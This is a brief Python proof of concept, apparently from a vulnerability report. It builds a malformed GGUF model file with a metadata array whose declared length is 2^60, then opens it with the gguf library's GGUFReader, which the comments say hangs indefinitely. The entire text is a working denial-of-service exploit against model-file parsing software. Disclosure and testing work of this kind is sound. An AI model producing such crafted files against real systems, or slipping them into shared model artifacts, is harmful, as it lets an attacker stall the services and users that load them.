1import struct
2with open('dos.gguf', 'wb') as f:
3 f.write(b'GGUF')
4 f.write(struct.pack('<I', 3)) # Version
5 f.write(struct.pack('<Q', 0)) # 0 tensors
6 f.write(struct.pack('<Q', 1)) # 1 metadata KV
7 f.write(struct.pack('<Q', 4)) # Key length
8 f.write(b'evil')
9 f.write(struct.pack('<I', 9)) # Type = ARRAY
10 f.write(struct.pack('<I', 4)) # Array type = UINT32
11 f.write(struct.pack('<Q', 2**60)) # Length = 2^60 → HANG
1from gguf import GGUFReader
2r = GGUFReader('dos.gguf') # hangs indefinitely